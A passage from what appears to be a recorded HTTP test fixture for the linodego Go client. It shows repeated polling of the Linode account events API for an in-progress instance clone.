"/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 46.758001, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 46.821848, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 46.903716, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 46.972687, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 47.032075, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 47.098204, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 47.160083, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 47.220807, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 47.281762, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 47.473734, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 47.609861, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 47.675888, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 47.742582, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 47.802997, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 47.87237, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 47.938161, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 48.262511, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": 